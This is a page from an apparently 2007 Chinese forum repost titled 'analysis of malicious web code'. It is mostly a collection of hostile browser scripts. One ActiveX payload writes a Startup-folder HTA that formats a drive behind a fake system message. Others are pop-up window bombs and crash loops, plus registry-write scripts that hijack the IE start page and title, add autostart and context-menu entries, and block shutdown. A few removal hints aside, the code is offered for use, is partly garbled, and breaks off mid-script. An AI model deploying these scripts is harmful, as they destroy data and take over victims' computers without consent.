网站公告列表

  没有公告

加入收藏
设为首页
繁体中文
您现在的位置: 网上见社区 >> 电脑 >> 编程代码 >> 文章正文
  网页恶性代码分析         ★★★ 【字体:
网页恶性代码分析
作者:佚名    文章来源:转帖    点击数:    更新时间:2007-7-26    

格式化硬盘
〈object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"〉
〈/object〉
〈SCRIPT〉
scr.Reset();
scr.Path="C:\\windows\\Men?inicio\\Programas\\Inicio\\automat.hta";
scr.Doc="〈object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'〉〈/object〉〈SCRIPT〉wsh.Run('start /m format a: /q /autotest /u');alert('IMPORTANT : Windows is configuring the system. Plase do not interrupt this process.');〈/"+"SCRIPT〉";
scr.write();
———恶性代码专区———
————————〉 使 WINDOWS 98掉线的代码
〈Html〉
〈head〉
〈/head〉
〈a href="wincrash.htm" onmouseclick="alert("Go To Hell,Mall!")"〉HaHa!〈/a〉
〈/html〉
〈HTML〉
〈BODY〉
[img]c:\con\con"〉
〈!-- or nul\nul, clock$\clock$ --〉
〈!-- or aux\aux, config$\config$ --〉
〈/BODY〉
〈/HTML〉
————————〉 视窗炸弹
〈HTML〉
〈HEAD〉
〈TITLE〉**** USA〈/TITLE〉
〈meta http-equiv="Content-Type" content="text/html; charset=gb2312"〉
〈/HEAD〉
〈BODY 〉
〈SCRIPT LANGUAGE="javascript"〉
function WindowBomb()
{
var iCounter = 0 // dummy counter
while (true)
{
window.open("http://i50.126.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}
〈/script〉
〈/BODY〉
〈/HTML〉
————————〉 造成IE 5.0崩溃的代码
〈HTML〉
〈BODY〉
〈SCRIPT〉
var color = new Array;
color[1] = "black";
color[2] = "white";
for(x = 0; x 〈3; x++)
{
document.bgColor = color[x]
if(x == 2)
{
x = 0;
}
}
〈/SCRIPT〉
〈/BODY〉
〈/HTML〉
————————〉 进入WINDOWS 之前弹出来的对话框代码 到注册表找到 LegalNoticeCaption , LegalNoticeText 删除
〈SCRIPT language=Javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents \.cookiess.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "这里是标题栏 网络联盟 i50.126.com");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "这里是标题栏 网络联盟 i50.126.com");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "请多留意本站的文章 i50.yjpc.com");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "请多留意本站的文章 i50.yjpc.com");
var eXPdate = new Date((new Date()).getTime() + (1));
documents \.cookiess="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();〈/SCRIPT〉
————————〉 造成 WINDOWS98 不能关机的代码。 到注册表找到 FastReboot 删除就OK
〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents \.cookiess.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKLM\\System\\CurrentControlSet\\Control\\Shutdown\\FastReboot", "1");
Shl.RegWrite ("HKCU\\System\\CurrentControlSet\\Control\\Shutdown\\FastReboot", "1");
var expdate = new Date((new Date()).getTime() + (1));
documents \.cookiess="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();〈/SCRIPT〉
————————〉视窗炸弹代码
〈HTML〉
〈HEAD〉
〈TITLE〉**** USA〈/TITLE〉
〈meta http-equiv="Content-Type" content="text/html; charset=gb2312"〉
〈/HEAD〉
〈BODY 〉
〈SCRIPT LANGUAGE="javascript"〉
function WindowBomb()
{
var iCounter = 0 // dummy counter
while (true)
{
window.open("http://i50.126.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}
〈/script〉
〈/BODY〉
〈/HTML〉
————————〉让IE不段循环的代码
〈HTML〉
〈HEAD〉
〈TITLE〉**** USA〈/TITLE〉
〈META HTTP-EQUIV="Content-Type" CONTENT="text/html;CHARSET=gb2312"〉
〈/HEAD〉
〈BODY 〉
〈SCRIPT LANGUAGE="javascript"〉
function WindowBomb()
{
var iCounter = 0 // dummy counter
while (true)
{
window.open("http://i50.126.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}
〈/script〉
〈/BODY〉
〈/HTML〉
————————〉让电脑自动启动程序的代码 。 修改方法 找到相应键值http://i50.yjpc.com/ 删除
〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉");
function f(){
try
{
file://ActiveX/ initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents \.cookiess.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "http://i50.yjpc.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents \.cookiess="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();〈/SCRIPT〉
————————〉自动设成主页代码
〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents \.cookiess.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://i50.126.com/");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://i50.126.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents \.cookiess="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();〈/SCRIPT〉
————————〉修改IE标题栏目。 修改方法 将以下代码中可以换的换成你想换的
〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents \.cookiess.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "————( I50.126.COM )————( 网络联盟黑客安全网络 )————( I50.YJPC.COM)");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "————( I50.126.COM )————( 网络联盟黑客安全网络 )————( I50.YJPC.COM)");
var expdate = new Date((new Date()).getTime() + (1));
documents \.cookiess="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();〈/SCRIPT〉
————————〉在右键加进网页链接 。修改方法:到注册表找到 MenuExt 把它删除就OK
〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo = a1.GetObject();
if (documents \.cookiess.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\中国网络安全中心\\", "c:\\yntop.htm");
sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\中国网络安全中心\\contexts", 0xf3,"REG_DWord");
hd=fo.CreateTextFile("c:\\yntop.htm");
hd.write('〈html〉〈head〉〈/head〉〈\script language=javascript〉window.open("http://i50.yjpc.com");〈\/script〉〈/html〉');
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
documents \.cookiess="km169set=km169; expires=" + expdate

[1] [2] 下一页

文章录入:浅水游龙    责任编辑:浅水游龙 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    用手机挂QQ 你也能快速升级为…
    制作一个百毒不侵的系统
    修改Win XP开机画面最简单办…
    将WindowsXP加速到极限
    用脚本恢复Windows XP的用户…
    如何创建自己的网站
    Windows操作系统中必须禁止的…
    Windows目录下几大需清理的地…
    经典常见计算机密码破解实用…
    网络攻击的几种攻击与防御手…
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    Copyright by seeunet.com (2005-2007) 粤ICP备05118646号
    告示:如果本站有任何文章/作品侵犯你的合法权益,请你告诉我,我会尽快处理!
    站长QQ:399093531;25302531